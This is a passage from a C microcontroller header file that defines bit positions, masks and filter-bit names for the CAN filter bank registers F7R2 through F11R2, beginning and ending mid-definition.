(0x1U << CAN_F7R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F7R2_FB27 CAN_F7R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F7R2_FB28_Pos (28U) #define CAN_F7R2_FB28_Msk (0x1U << CAN_F7R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F7R2_FB28 CAN_F7R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F7R2_FB29_Pos (29U) #define CAN_F7R2_FB29_Msk (0x1U << CAN_F7R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F7R2_FB29 CAN_F7R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F7R2_FB30_Pos (30U) #define CAN_F7R2_FB30_Msk (0x1U << CAN_F7R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F7R2_FB30 CAN_F7R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F7R2_FB31_Pos (31U) #define CAN_F7R2_FB31_Msk (0x1U << CAN_F7R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F7R2_FB31 CAN_F7R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F8R2 register *******************/ #define CAN_F8R2_FB0_Pos (0U) #define CAN_F8R2_FB0_Msk (0x1U << CAN_F8R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F8R2_FB0 CAN_F8R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F8R2_FB1_Pos (1U) #define CAN_F8R2_FB1_Msk (0x1U << CAN_F8R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F8R2_FB1 CAN_F8R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F8R2_FB2_Pos (2U) #define CAN_F8R2_FB2_Msk (0x1U << CAN_F8R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F8R2_FB2 CAN_F8R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F8R2_FB3_Pos (3U) #define CAN_F8R2_FB3_Msk (0x1U << CAN_F8R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F8R2_FB3 CAN_F8R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F8R2_FB4_Pos (4U) #define CAN_F8R2_FB4_Msk (0x1U << CAN_F8R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F8R2_FB4 CAN_F8R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F8R2_FB5_Pos (5U) #define CAN_F8R2_FB5_Msk (0x1U << CAN_F8R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F8R2_FB5 CAN_F8R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F8R2_FB6_Pos (6U) #define CAN_F8R2_FB6_Msk (0x1U << CAN_F8R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F8R2_FB6 CAN_F8R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F8R2_FB7_Pos (7U) #define CAN_F8R2_FB7_Msk (0x1U << CAN_F8R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F8R2_FB7 CAN_F8R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F8R2_FB8_Pos (8U) #define CAN_F8R2_FB8_Msk (0x1U << CAN_F8R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F8R2_FB8 CAN_F8R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F8R2_FB9_Pos (9U) #define CAN_F8R2_FB9_Msk (0x1U << CAN_F8R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F8R2_FB9 CAN_F8R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F8R2_FB10_Pos (10U) #define CAN_F8R2_FB10_Msk (0x1U << CAN_F8R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F8R2_FB10 CAN_F8R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F8R2_FB11_Pos (11U) #define CAN_F8R2_FB11_Msk (0x1U << CAN_F8R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F8R2_FB11 CAN_F8R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F8R2_FB12_Pos (12U) #define CAN_F8R2_FB12_Msk (0x1U << CAN_F8R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F8R2_FB12 CAN_F8R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F8R2_FB13_Pos (13U) #define CAN_F8R2_FB13_Msk (0x1U << CAN_F8R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F8R2_FB13 CAN_F8R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F8R2_FB14_Pos (14U) #define CAN_F8R2_FB14_Msk (0x1U << CAN_F8R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F8R2_FB14 CAN_F8R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F8R2_FB15_Pos (15U) #define CAN_F8R2_FB15_Msk (0x1U << CAN_F8R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F8R2_FB15 CAN_F8R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F8R2_FB16_Pos (16U) #define CAN_F8R2_FB16_Msk (0x1U << CAN_F8R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F8R2_FB16 CAN_F8R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F8R2_FB17_Pos (17U) #define CAN_F8R2_FB17_Msk (0x1U << CAN_F8R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F8R2_FB17 CAN_F8R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F8R2_FB18_Pos (18U) #define CAN_F8R2_FB18_Msk (0x1U << CAN_F8R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F8R2_FB18 CAN_F8R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F8R2_FB19_Pos (19U) #define CAN_F8R2_FB19_Msk (0x1U << CAN_F8R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F8R2_FB19 CAN_F8R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F8R2_FB20_Pos (20U) #define CAN_F8R2_FB20_Msk (0x1U << CAN_F8R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F8R2_FB20 CAN_F8R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F8R2_FB21_Pos (21U) #define CAN_F8R2_FB21_Msk (0x1U << CAN_F8R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F8R2_FB21 CAN_F8R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F8R2_FB22_Pos (22U) #define CAN_F8R2_FB22_Msk (0x1U << CAN_F8R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F8R2_FB22 CAN_F8R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F8R2_FB23_Pos (23U) #define CAN_F8R2_FB23_Msk (0x1U << CAN_F8R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F8R2_FB23 CAN_F8R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F8R2_FB24_Pos (24U) #define CAN_F8R2_FB24_Msk (0x1U << CAN_F8R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F8R2_FB24 CAN_F8R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F8R2_FB25_Pos (25U) #define CAN_F8R2_FB25_Msk (0x1U << CAN_F8R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F8R2_FB25 CAN_F8R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F8R2_FB26_Pos (26U) #define CAN_F8R2_FB26_Msk (0x1U << CAN_F8R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F8R2_FB26 CAN_F8R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F8R2_FB27_Pos (27U) #define CAN_F8R2_FB27_Msk (0x1U << CAN_F8R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F8R2_FB27 CAN_F8R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F8R2_FB28_Pos (28U) #define CAN_F8R2_FB28_Msk (0x1U << CAN_F8R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F8R2_FB28 CAN_F8R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F8R2_FB29_Pos (29U) #define CAN_F8R2_FB29_Msk (0x1U << CAN_F8R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F8R2_FB29 CAN_F8R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F8R2_FB30_Pos (30U) #define CAN_F8R2_FB30_Msk (0x1U << CAN_F8R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F8R2_FB30 CAN_F8R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F8R2_FB31_Pos (31U) #define CAN_F8R2_FB31_Msk (0x1U << CAN_F8R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F8R2_FB31 CAN_F8R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F9R2 register *******************/ #define CAN_F9R2_FB0_Pos (0U) #define CAN_F9R2_FB0_Msk (0x1U << CAN_F9R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F9R2_FB0 CAN_F9R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F9R2_FB1_Pos (1U) #define CAN_F9R2_FB1_Msk (0x1U << CAN_F9R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F9R2_FB1 CAN_F9R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F9R2_FB2_Pos (2U) #define CAN_F9R2_FB2_Msk (0x1U << CAN_F9R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F9R2_FB2 CAN_F9R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F9R2_FB3_Pos (3U) #define CAN_F9R2_FB3_Msk (0x1U << CAN_F9R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F9R2_FB3 CAN_F9R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F9R2_FB4_Pos (4U) #define CAN_F9R2_FB4_Msk (0x1U << CAN_F9R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F9R2_FB4 CAN_F9R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F9R2_FB5_Pos (5U) #define CAN_F9R2_FB5_Msk (0x1U << CAN_F9R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F9R2_FB5 CAN_F9R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F9R2_FB6_Pos (6U) #define CAN_F9R2_FB6_Msk (0x1U << CAN_F9R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F9R2_FB6 CAN_F9R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F9R2_FB7_Pos (7U) #define CAN_F9R2_FB7_Msk (0x1U << CAN_F9R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F9R2_FB7 CAN_F9R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F9R2_FB8_Pos (8U) #define CAN_F9R2_FB8_Msk (0x1U << CAN_F9R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F9R2_FB8 CAN_F9R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F9R2_FB9_Pos (9U) #define CAN_F9R2_FB9_Msk (0x1U << CAN_F9R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F9R2_FB9 CAN_F9R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F9R2_FB10_Pos (10U) #define CAN_F9R2_FB10_Msk (0x1U << CAN_F9R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F9R2_FB10 CAN_F9R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F9R2_FB11_Pos (11U) #define CAN_F9R2_FB11_Msk (0x1U << CAN_F9R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F9R2_FB11 CAN_F9R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F9R2_FB12_Pos (12U) #define CAN_F9R2_FB12_Msk (0x1U << CAN_F9R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F9R2_FB12 CAN_F9R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F9R2_FB13_Pos (13U) #define CAN_F9R2_FB13_Msk (0x1U << CAN_F9R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F9R2_FB13 CAN_F9R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F9R2_FB14_Pos (14U) #define CAN_F9R2_FB14_Msk (0x1U << CAN_F9R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F9R2_FB14 CAN_F9R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F9R2_FB15_Pos (15U) #define CAN_F9R2_FB15_Msk (0x1U << CAN_F9R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F9R2_FB15 CAN_F9R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F9R2_FB16_Pos (16U) #define CAN_F9R2_FB16_Msk (0x1U << CAN_F9R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F9R2_FB16 CAN_F9R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F9R2_FB17_Pos (17U) #define CAN_F9R2_FB17_Msk (0x1U << CAN_F9R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F9R2_FB17 CAN_F9R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F9R2_FB18_Pos (18U) #define CAN_F9R2_FB18_Msk (0x1U << CAN_F9R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F9R2_FB18 CAN_F9R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F9R2_FB19_Pos (19U) #define CAN_F9R2_FB19_Msk (0x1U << CAN_F9R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F9R2_FB19 CAN_F9R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F9R2_FB20_Pos (20U) #define CAN_F9R2_FB20_Msk (0x1U << CAN_F9R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F9R2_FB20 CAN_F9R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F9R2_FB21_Pos (21U) #define CAN_F9R2_FB21_Msk (0x1U << CAN_F9R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F9R2_FB21 CAN_F9R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F9R2_FB22_Pos (22U) #define CAN_F9R2_FB22_Msk (0x1U << CAN_F9R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F9R2_FB22 CAN_F9R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F9R2_FB23_Pos (23U) #define CAN_F9R2_FB23_Msk (0x1U << CAN_F9R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F9R2_FB23 CAN_F9R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F9R2_FB24_Pos (24U) #define CAN_F9R2_FB24_Msk (0x1U << CAN_F9R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F9R2_FB24 CAN_F9R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F9R2_FB25_Pos (25U) #define CAN_F9R2_FB25_Msk (0x1U << CAN_F9R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F9R2_FB25 CAN_F9R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F9R2_FB26_Pos (26U) #define CAN_F9R2_FB26_Msk (0x1U << CAN_F9R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F9R2_FB26 CAN_F9R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F9R2_FB27_Pos (27U) #define CAN_F9R2_FB27_Msk (0x1U << CAN_F9R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F9R2_FB27 CAN_F9R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F9R2_FB28_Pos (28U) #define CAN_F9R2_FB28_Msk (0x1U << CAN_F9R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F9R2_FB28 CAN_F9R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F9R2_FB29_Pos (29U) #define CAN_F9R2_FB29_Msk (0x1U << CAN_F9R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F9R2_FB29 CAN_F9R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F9R2_FB30_Pos (30U) #define CAN_F9R2_FB30_Msk (0x1U << CAN_F9R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F9R2_FB30 CAN_F9R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F9R2_FB31_Pos (31U) #define CAN_F9R2_FB31_Msk (0x1U << CAN_F9R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F9R2_FB31 CAN_F9R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F10R2 register ******************/ #define CAN_F10R2_FB0_Pos (0U) #define CAN_F10R2_FB0_Msk (0x1U << CAN_F10R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F10R2_FB0 CAN_F10R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F10R2_FB1_Pos (1U) #define CAN_F10R2_FB1_Msk (0x1U << CAN_F10R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F10R2_FB1 CAN_F10R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F10R2_FB2_Pos (2U) #define CAN_F10R2_FB2_Msk (0x1U << CAN_F10R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F10R2_FB2 CAN_F10R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F10R2_FB3_Pos (3U) #define CAN_F10R2_FB3_Msk (0x1U << CAN_F10R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F10R2_FB3 CAN_F10R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F10R2_FB4_Pos (4U) #define CAN_F10R2_FB4_Msk (0x1U << CAN_F10R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F10R2_FB4 CAN_F10R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F10R2_FB5_Pos (5U) #define CAN_F10R2_FB5_Msk (0x1U << CAN_F10R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F10R2_FB5 CAN_F10R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F10R2_FB6_Pos (6U) #define CAN_F10R2_FB6_Msk (0x1U << CAN_F10R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F10R2_FB6 CAN_F10R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F10R2_FB7_Pos (7U) #define CAN_F10R2_FB7_Msk (0x1U << CAN_F10R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F10R2_FB7 CAN_F10R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F10R2_FB8_Pos (8U) #define CAN_F10R2_FB8_Msk (0x1U << CAN_F10R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F10R2_FB8 CAN_F10R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F10R2_FB9_Pos (9U) #define CAN_F10R2_FB9_Msk (0x1U << CAN_F10R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F10R2_FB9 CAN_F10R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F10R2_FB10_Pos (10U) #define CAN_F10R2_FB10_Msk (0x1U << CAN_F10R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F10R2_FB10 CAN_F10R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F10R2_FB11_Pos (11U) #define CAN_F10R2_FB11_Msk (0x1U << CAN_F10R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F10R2_FB11 CAN_F10R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F10R2_FB12_Pos (12U) #define CAN_F10R2_FB12_Msk (0x1U << CAN_F10R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F10R2_FB12 CAN_F10R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F10R2_FB13_Pos (13U) #define CAN_F10R2_FB13_Msk (0x1U << CAN_F10R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F10R2_FB13 CAN_F10R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F10R2_FB14_Pos (14U) #define CAN_F10R2_FB14_Msk (0x1U << CAN_F10R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F10R2_FB14 CAN_F10R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F10R2_FB15_Pos (15U) #define CAN_F10R2_FB15_Msk (0x1U << CAN_F10R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F10R2_FB15 CAN_F10R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F10R2_FB16_Pos (16U) #define CAN_F10R2_FB16_Msk (0x1U << CAN_F10R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F10R2_FB16 CAN_F10R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F10R2_FB17_Pos (17U) #define CAN_F10R2_FB17_Msk (0x1U << CAN_F10R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F10R2_FB17 CAN_F10R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F10R2_FB18_Pos (18U) #define CAN_F10R2_FB18_Msk (0x1U << CAN_F10R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F10R2_FB18 CAN_F10R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F10R2_FB19_Pos (19U) #define CAN_F10R2_FB19_Msk (0x1U << CAN_F10R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F10R2_FB19 CAN_F10R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F10R2_FB20_Pos (20U) #define CAN_F10R2_FB20_Msk (0x1U << CAN_F10R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F10R2_FB20 CAN_F10R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F10R2_FB21_Pos (21U) #define CAN_F10R2_FB21_Msk (0x1U << CAN_F10R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F10R2_FB21 CAN_F10R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F10R2_FB22_Pos (22U) #define CAN_F10R2_FB22_Msk (0x1U << CAN_F10R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F10R2_FB22 CAN_F10R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F10R2_FB23_Pos (23U) #define CAN_F10R2_FB23_Msk (0x1U << CAN_F10R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F10R2_FB23 CAN_F10R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F10R2_FB24_Pos (24U) #define CAN_F10R2_FB24_Msk (0x1U << CAN_F10R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F10R2_FB24 CAN_F10R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F10R2_FB25_Pos (25U) #define CAN_F10R2_FB25_Msk (0x1U << CAN_F10R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F10R2_FB25 CAN_F10R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F10R2_FB26_Pos (26U) #define CAN_F10R2_FB26_Msk (0x1U << CAN_F10R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F10R2_FB26 CAN_F10R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F10R2_FB27_Pos (27U) #define CAN_F10R2_FB27_Msk (0x1U << CAN_F10R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F10R2_FB27 CAN_F10R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F10R2_FB28_Pos (28U) #define CAN_F10R2_FB28_Msk (0x1U << CAN_F10R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F10R2_FB28 CAN_F10R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F10R2_FB29_Pos (29U) #define CAN_F10R2_FB29_Msk (0x1U << CAN_F10R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F10R2_FB29 CAN_F10R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F10R2_FB30_Pos (30U) #define CAN_F10R2_FB30_Msk (0x1U << CAN_F10R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F10R2_FB30 CAN_F10R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F10R2_FB31_Pos (31U) #define CAN_F10R2_FB31_Msk (0x1U << CAN_F10R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F10R2_FB31 CAN_F10R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F11R2 register ******************/ #define CAN_F11R2_FB0_Pos (0U) #define CAN_F11R2_FB0_Msk (0x1U << CAN_F11R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F11R2_FB0 CAN_F11R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F11R2_FB1_Pos (1U) #define CAN_F11R2_FB1_Msk (0x1U << CAN_F11R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F11R2_FB1 CAN_F11R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F11R2_FB2_Pos (2U) #define CAN_F11R2_FB2_Msk (0x1U << CAN_F11R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F11R2_FB2 CAN_F11R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F11R2_FB3_Pos (3U) #define CAN_F11R2_FB3_Msk (0x1U << CAN_F11R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F11R2_FB3 CAN_F11R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F11R2_FB4_Pos (4U) #define CAN_F11R2_FB4_Msk (0x1U << CAN_F11R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F11R2_FB4 CAN_F11R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F11R2_FB5_Pos (5U) #define CAN_F11R2_FB5_Msk (0x1U << CAN_F11R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F11R2_FB5 CAN_F11R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F11R2_FB6_Pos (6U) #define CAN_F11R2_FB6_Msk (0x1U << CAN_F11R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F11R2_FB6 CAN_F11R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F11R2_FB7_Pos (7U) #define CAN_F11R2_FB7_Msk (0x1U << CAN_F11R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F11R2_FB7 CAN_F11R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F11R2_FB8_Pos (8U) #define CAN_F11R2_FB8_Msk (0x1U << CAN_F11R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F11R2_FB8 CAN_F11R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F11R2_FB9_Pos (9U) #define CAN_F11R2_FB9_Msk (0x1U << CAN_F11R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F11R2_FB9 CAN_F11R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F11R2_FB10_Pos (10U) #define CAN_F11R2_FB10_Msk (0x1U << CAN_F11R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F11R2_FB10 CAN_F11R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F11R2_FB11_Pos (11U) #define CAN_F11R2_FB11_Msk (0x1U << CAN_F11R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F11R2_FB11 CAN_F11R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F11R2_FB12_Pos (12U) #define CAN_F11R2_FB12_Msk (0x1U << CAN_F11R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F11R2_FB12 CAN_F11R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F11R2_FB13_Pos (13U) #define CAN_F11R2_FB13_Msk (0x1U << CAN_F11R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F11R2_FB13 CAN_F11R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F11R2_FB14_Pos (14U) #define CAN_F11R2_FB14_Msk (0x1U << CAN_F11R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F11R2_FB14 CAN_F11R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F11R2_FB15_Pos (15U) #define CAN_F11R2_FB15_Msk (0x1U << CAN_F11R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F11R2_FB15 CAN_F11R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F11R2_FB16_Pos (16U) #define CAN_F11R2_FB16_Msk (0x1U << CAN_F11R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F11R2_FB16 CAN_F11R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F11R2_FB17_Pos (17U) #define CAN_F11R2_FB17_Msk (0x1U << CAN_F11R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F11R2_FB17 CAN_F11R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F11R2_FB18_Pos (18U) #define CAN_F11R2_FB18_Msk (0x1U << CAN_F11R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F11R2_FB18 CAN_F11R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F11R2_FB19_Pos (19U) #define CAN_F11R2_FB19_Msk (0x1U << CAN_F11R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F11R2_FB19 CAN_F11R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F11R2_FB20_Pos (20U) #define CAN_F11R2_FB20_Msk (0x1U << CAN_F11R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F11R2_FB20 CAN_F11R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F11R2_FB21_Pos (21U) #define CAN_F11R2_FB21_Msk (0x1U << CAN_F11R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F11R2_FB21 CAN_F11R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F11R2_FB22_Pos (22U) #define CAN_F11R2_FB22_Msk (0x1U << 